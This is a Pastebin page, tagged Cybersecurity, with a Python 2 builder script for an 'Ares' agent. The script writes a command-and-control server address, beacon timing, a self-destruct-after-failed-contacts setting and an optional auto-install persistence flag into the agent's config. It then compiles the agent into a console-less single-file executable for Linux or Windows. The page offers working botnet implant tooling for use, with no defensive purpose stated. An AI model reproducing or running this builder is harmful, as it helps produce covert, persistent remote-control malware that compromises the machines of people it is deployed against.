Advertisement
FlyFar

agent/builder.py

Jan 13th, 2024
1,312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.55 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. import os
  4. import shutil
  5. import tempfile
  6.  
  7.  
  8. def build_agent(output, server_url, platform, hello_interval, idle_time, max_failed_connections, persist):
  9.     prog_name = os.path.basename(output)
  10.     platform = platform.lower()
  11.     if platform not in ['linux', 'windows']:
  12.         print "[!] Supported platforms are 'Linux' and 'Windows'"
  13.         exit(0)
  14.     if os.name != 'posix' and platform == 'linux':
  15.         print "[!] Can only build Linux agents on Linux."
  16.         exit(0)
  17.     working_dir = os.path.join(tempfile.gettempdir(), 'ares')
  18.     if os.path.exists(working_dir):
  19.         shutil.rmtree(working_dir)
  20.     agent_dir = os.path.dirname(__file__)
  21.     shutil.copytree(agent_dir, working_dir)
  22.     with open(os.path.join(working_dir, "config.py"), 'w') as agent_config:
  23.         with open(os.path.join(agent_dir, "template_config.py")) as f:
  24.             config_file = f.read()
  25.         config_file = config_file.replace("__SERVER__", server_url.rstrip('/'))
  26.         config_file = config_file.replace("__HELLO_INTERVAL__", str(hello_interval))
  27.         config_file = config_file.replace("__IDLE_TIME__", str(idle_time))
  28.         config_file = config_file.replace("__MAX_FAILED_CONNECTIONS__", str(max_failed_connections))
  29.         config_file = config_file.replace("__PERSIST__", str(persist))
  30.         agent_config.write(config_file)
  31.     cwd = os.getcwd()
  32.     os.chdir(working_dir)
  33.     shutil.move('agent.py', prog_name + '.py')
  34.     if platform == 'linux':
  35.         os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py')
  36.         agent_file = os.path.join(working_dir, 'dist', prog_name)
  37.     elif platform == 'windows':
  38.         if os.name == 'posix':
  39.             os.system('wine C:/Python27/Scripts/pyinstaller --noconsole --onefile ' + prog_name + '.py')
  40.         else:
  41.             os.system('pyinstaller --noconsole --onefile ' + prog_name + '.py')
  42.         if not prog_name.endswith(".exe"):
  43.             prog_name += ".exe"
  44.         agent_file = os.path.join(working_dir, 'dist', prog_name)
  45.     os.chdir(cwd)
  46.     os.rename(agent_file, output)
  47.     shutil.rmtree(working_dir)
  48.     print "[+] Agent built successfully: %s" % output
  49.  
  50.  
  51. def main():
  52.     from argparse import ArgumentParser
  53.     parser = ArgumentParser(description="Builds an Ares agent.")
  54.     parser.add_argument('-p', '--platform', required=True, help="Target platform (Windows, Linux).")
  55.     parser.add_argument('--server', required=True, help="Address of the CnC server (e.g http://localhost:8080).")
  56.     parser.add_argument('-o', '--output', required=True, help="Output file name.")
  57.     parser.add_argument('--hello-interval', type=int, default=1, help="Delay (in seconds) between each request to the CnC.")
  58.     parser.add_argument('--idle-time', type=int, default=60, help="Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every <hello_interval> seconds).")
  59.     parser.add_argument('--max-failed-connections', type=int, default=20, help="The agent will self destruct if no contact with the CnC can be made <max_failed_connections> times in a row.")
  60.     parser.add_argument('--persistent', action='store_true', help="Automatically install the agent on first run.")
  61.     args = parser.parse_args()
  62.  
  63.     build_agent(
  64.         output=args.output,
  65.         server_url=args.server,
  66.         platform=args.platform,
  67.         hello_interval=args.hello_interval,
  68.         idle_time=args.idle_time,
  69.         max_failed_connections=args.max_failed_connections,
  70.         persist=args.persistent)
  71.  
  72.  
  73. if __name__ == "__main__":
  74.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement